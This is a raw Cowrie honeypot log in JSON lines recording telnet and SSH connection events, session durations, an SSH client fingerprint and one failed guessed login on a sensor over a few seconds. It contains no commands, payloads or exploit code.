{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57776,"dst_ip":"159.203.135.109","dst_port":23,"session":"f93dc5f3e711","protocol":"telnet","message":"New connection: 162.55.233.176:57776 (159.203.135.109:23) [session: f93dc5f3e711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:46.103291Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57784,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc02e3566e9","protocol":"telnet","message":"New connection: 162.55.233.176:57784 (159.203.135.109:23) [session: 5bc02e3566e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:46.137303Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57790,"dst_ip":"159.203.135.109","dst_port":23,"session":"10632017cb95","protocol":"telnet","message":"New connection: 162.55.233.176:57790 (159.203.135.109:23) [session: 10632017cb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:46.613397Z"}
{"eventid":"cowrie.session.closed","duration":42.96278476715088,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:46.694505Z","src_ip":"206.189.32.23","session":"4872a25c48a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57798,"dst_ip":"159.203.135.109","dst_port":23,"session":"e50de7835114","protocol":"telnet","message":"New connection: 162.55.233.176:57798 (159.203.135.109:23) [session: e50de7835114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:46.727234Z"}
{"eventid":"cowrie.session.closed","duration":33.100308895111084,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:46.822569Z","src_ip":"162.55.233.176","session":"b45770f304fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57800,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9a911ff8cea","protocol":"telnet","message":"New connection: 162.55.233.176:57800 (159.203.135.109:23) [session: d9a911ff8cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:47.253163Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57806,"dst_ip":"159.203.135.109","dst_port":23,"session":"51394733767c","protocol":"telnet","message":"New connection: 162.55.233.176:57806 (159.203.135.109:23) [session: 51394733767c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:47.316955Z"}
{"eventid":"cowrie.session.closed","duration":52.14694380760193,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:47.417313Z","src_ip":"188.208.141.113","session":"b10d74ffe66d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947415351867676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:47.613661Z","src_ip":"162.55.233.176","session":"fbc8553d6604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.246394872665405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:47.661723Z","src_ip":"162.55.233.176","session":"632cff4bac60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.644689321517944,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:47.725860Z","src_ip":"162.55.233.176","session":"fe6cb0d326f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57822,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbed649ee2bd","protocol":"telnet","message":"New connection: 162.55.233.176:57822 (159.203.135.109:23) [session: dbed649ee2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:47.982398Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57834,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ba0a24c91cb","protocol":"telnet","message":"New connection: 162.55.233.176:57834 (159.203.135.109:23) [session: 5ba0a24c91cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:48.215113Z"}
{"eventid":"cowrie.session.closed","duration":31.123862743377686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:49.446569Z","src_ip":"162.55.233.176","session":"8d96be4f4000","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57850,"dst_ip":"159.203.135.109","dst_port":23,"session":"b08cfa482804","protocol":"telnet","message":"New connection: 162.55.233.176:57850 (159.203.135.109:23) [session: b08cfa482804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:49.618578Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57854,"dst_ip":"159.203.135.109","dst_port":23,"session":"75600572ff8b","protocol":"telnet","message":"New connection: 162.55.233.176:57854 (159.203.135.109:23) [session: 75600572ff8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:49.684658Z"}
{"eventid":"cowrie.session.closed","duration":31.11954951286316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:50.843151Z","src_ip":"162.55.233.176","session":"5dec4710530f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57878,"dst_ip":"159.203.135.109","dst_port":23,"session":"40a7d62c6213","protocol":"telnet","message":"New connection: 162.55.233.176:57878 (159.203.135.109:23) [session: 40a7d62c6213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:51.054806Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57862,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7dfdbb13df0","protocol":"telnet","message":"New connection: 162.55.233.176:57862 (159.203.135.109:23) [session: c7dfdbb13df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:51.115124Z"}
{"eventid":"cowrie.session.closed","duration":30.32299518585205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:51.185704Z","src_ip":"162.55.233.176","session":"c174d26c429a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57890,"dst_ip":"159.203.135.109","dst_port":23,"session":"d74d2f9e1312","protocol":"telnet","message":"New connection: 162.55.233.176:57890 (159.203.135.109:23) [session: d74d2f9e1312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:51.280646Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57896,"dst_ip":"159.203.135.109","dst_port":23,"session":"c01b0c14d4d9","protocol":"telnet","message":"New connection: 162.55.233.176:57896 (159.203.135.109:23) [session: c01b0c14d4d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:51.308034Z"}
{"eventid":"cowrie.session.closed","duration":36.99953603744507,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:51.317592Z","src_ip":"162.55.233.176","session":"76154ba584b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.18801522254944,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:51.897584Z","src_ip":"162.55.233.176","session":"f92ea3f482b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.8357720375061,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:52.037755Z","src_ip":"162.55.233.176","session":"7e6043fff1c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.50103402137756,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:52.113902Z","src_ip":"162.55.233.176","session":"088882729ec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.73620963096619,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:52.795070Z","src_ip":"162.55.233.176","session":"1becf0144465","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60794,"dst_ip":"159.203.135.109","dst_port":23,"session":"d953e3ca6d2a","protocol":"telnet","message":"New connection: 162.55.233.176:60794 (159.203.135.109:23) [session: d953e3ca6d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:53.969706Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60804,"dst_ip":"159.203.135.109","dst_port":23,"session":"94d0653644cf","protocol":"telnet","message":"New connection: 162.55.233.176:60804 (159.203.135.109:23) [session: 94d0653644cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:54.346343Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60814,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fdd528a8b9c","protocol":"telnet","message":"New connection: 162.55.233.176:60814 (159.203.135.109:23) [session: 6fdd528a8b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:55.183847Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60830,"dst_ip":"159.203.135.109","dst_port":23,"session":"95f68d85df71","protocol":"telnet","message":"New connection: 162.55.233.176:60830 (159.203.135.109:23) [session: 95f68d85df71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:55.754612Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58832,"dst_ip":"10.17.0.5","dst_port":23,"session":"468c0b9dd923","protocol":"telnet","message":"New connection: 206.189.32.23:58832 (10.17.0.5:23) [session: 468c0b9dd923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:56.190098Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":20821,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aa121f66d7c","protocol":"ssh","message":"New connection: 38.137.11.14:20821 (10.17.0.5:22) [session: 9aa121f66d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:56.897531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:56.902571Z","src_ip":"38.137.11.14","session":"9aa121f66d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60838,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5c84d7e05f2","protocol":"telnet","message":"New connection: 162.55.233.176:60838 (159.203.135.109:23) [session: b5c84d7e05f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:56.906139Z"}
{"eventid":"cowrie.session.closed","duration":37.04371190071106,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:56.961369Z","src_ip":"162.55.233.176","session":"9be6bc4a304c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:57.122051Z","src_ip":"38.137.11.14","session":"9aa121f66d7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.616435527801514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:57.622740Z","src_ip":"162.55.233.176","session":"fbbe4dc76e76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60852,"dst_ip":"159.203.135.109","dst_port":23,"session":"bed91527e356","protocol":"telnet","message":"New connection: 162.55.233.176:60852 (159.203.135.109:23) [session: bed91527e356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:57.759680Z"}
{"eventid":"cowrie.session.closed","duration":37.03880977630615,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:57.797724Z","src_ip":"162.55.233.176","session":"ee1fce725d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60860,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba9f8e5f0380","protocol":"telnet","message":"New connection: 162.55.233.176:60860 (159.203.135.109:23) [session: ba9f8e5f0380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:57.834198Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60866,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b8a49b3fbf6","protocol":"telnet","message":"New connection: 162.55.233.176:60866 (159.203.135.109:23) [session: 0b8a49b3fbf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:57.879935Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789q","message":"login attempt [ubuntu/123456789q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:58.033387Z","src_ip":"38.137.11.14","session":"9aa121f66d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59914,"dst_ip":"10.17.0.5","dst_port":23,"session":"a55739755458","protocol":"telnet","message":"New connection: 206.189.32.23:59914 (10.17.0.5:23) [session: a55739755458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:58.194429Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60874,"dst_ip":"159.203.135.109","dst_port":23,"session":"57b9717baa73","protocol":"telnet","message":"New connection: 162.55.233.176:60874 (159.203.135.109:23) [session: 57b9717baa73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:58.428592Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60888,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7163e7c55e0","protocol":"telnet","message":"New connection: 162.55.233.176:60888 (159.203.135.109:23) [session: e7163e7c55e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:58.925088Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:59.255374Z","src_ip":"38.137.11.14","session":"9aa121f66d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60902,"dst_ip":"159.203.135.109","dst_port":23,"session":"3701d1e64fdc","protocol":"telnet","message":"New connection: 162.55.233.176:60902 (159.203.135.109:23) [session: 3701d1e64fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:59.304717Z"}
{"eventid":"cowrie.session.closed","duration":31.647212982177734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:59.494625Z","src_ip":"162.55.233.176","session":"5e7c2a2b1d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60908,"dst_ip":"159.203.135.109","dst_port":23,"session":"820e8ec82839","protocol":"telnet","message":"New connection: 162.55.233.176:60908 (159.203.135.109:23) [session: 820e8ec82839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:59.498744Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60910,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa85d43020e2","protocol":"telnet","message":"New connection: 162.55.233.176:60910 (159.203.135.109:23) [session: aa85d43020e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:59.581631Z"}
{"eventid":"cowrie.session.closed","duration":32.253822803497314,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:59.642700Z","src_ip":"162.55.233.176","session":"51f2e15b2835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.016140937805176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:59.761493Z","src_ip":"162.55.233.176","session":"5e4d86df828b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60920,"dst_ip":"159.203.135.109","dst_port":23,"session":"de78d3a7cb59","protocol":"telnet","message":"New connection: 162.55.233.176:60920 (159.203.135.109:23) [session: de78d3a7cb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:00.087724Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60922,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c082ea4165d","protocol":"telnet","message":"New connection: 162.55.233.176:60922 (159.203.135.109:23) [session: 5c082ea4165d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:00.113724Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35544,"dst_ip":"10.17.0.5","dst_port":23,"session":"afb0713ec05c","protocol":"telnet","message":"New connection: 206.189.32.23:35544 (10.17.0.5:23) [session: afb0713ec05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:00.495615Z"}
{"eventid":"cowrie.session.closed","duration":5.296558618545532,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:01.486573Z","src_ip":"206.189.32.23","session":"468c0b9dd923","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.34974956512451,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:01.987220Z","src_ip":"206.189.32.23","session":"fd9cdc78dfa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60926,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f99d90db8ed","protocol":"telnet","message":"New connection: 162.55.233.176:60926 (159.203.135.109:23) [session: 3f99d90db8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:02.034202Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60932,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a67f4717c8","protocol":"telnet","message":"New connection: 162.55.233.176:60932 (159.203.135.109:23) [session: 26a67f4717c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:02.232515Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38392,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a1012b8d1b1","protocol":"telnet","message":"New connection: 162.55.233.176:38392 (159.203.135.109:23) [session: 7a1012b8d1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:02.920743Z"}
{"eventid":"cowrie.session.closed","duration":35.32895517349243,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:02.966631Z","src_ip":"162.55.233.176","session":"15c745281e3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38400,"dst_ip":"159.203.135.109","dst_port":23,"session":"7180bbcac5ef","protocol":"telnet","message":"New connection: 162.55.233.176:38400 (159.203.135.109:23) [session: 7180bbcac5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:02.993793Z"}
{"eventid":"cowrie.session.closed","duration":43.11448526382446,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:03.263175Z","src_ip":"162.55.233.176","session":"447075a70b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.625643253326416,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:03.381788Z","src_ip":"162.55.233.176","session":"820a6bd568f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.60549545288086,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:04.164292Z","src_ip":"162.55.233.176","session":"697a14ccbd4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38408,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aeec45fcd3c","protocol":"telnet","message":"New connection: 162.55.233.176:38408 (159.203.135.109:23) [session: 2aeec45fcd3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:04.183543Z"}
{"eventid":"cowrie.session.closed","duration":30.957741260528564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:04.252183Z","src_ip":"162.55.233.176","session":"d6b03146fedd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57832431793213,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:04.874863Z","src_ip":"162.55.233.176","session":"22805c0a7430","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38414,"dst_ip":"159.203.135.109","dst_port":23,"session":"f81b2b612c44","protocol":"telnet","message":"New connection: 162.55.233.176:38414 (159.203.135.109:23) [session: f81b2b612c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:05.618113Z"}
{"eventid":"cowrie.session.closed","duration":33.83738350868225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:05.753825Z","src_ip":"162.55.233.176","session":"b2e580d11259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.800044536590576,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:05.795058Z","src_ip":"162.55.233.176","session":"1be14a4a7121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38422,"dst_ip":"159.203.135.109","dst_port":23,"session":"2466f95dc6d1","protocol":"telnet","message":"New connection: 162.55.233.176:38422 (159.203.135.109:23) [session: 2466f95dc6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:05.977532Z"}
{"eventid":"cowrie.session.closed","duration":36.37370848655701,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:06.803965Z","src_ip":"162.55.233.176","session":"0cbda60abaa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.747928857803345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:06.874724Z","src_ip":"162.55.233.176","session":"d557339e5fb8","protocol":"telnet"}
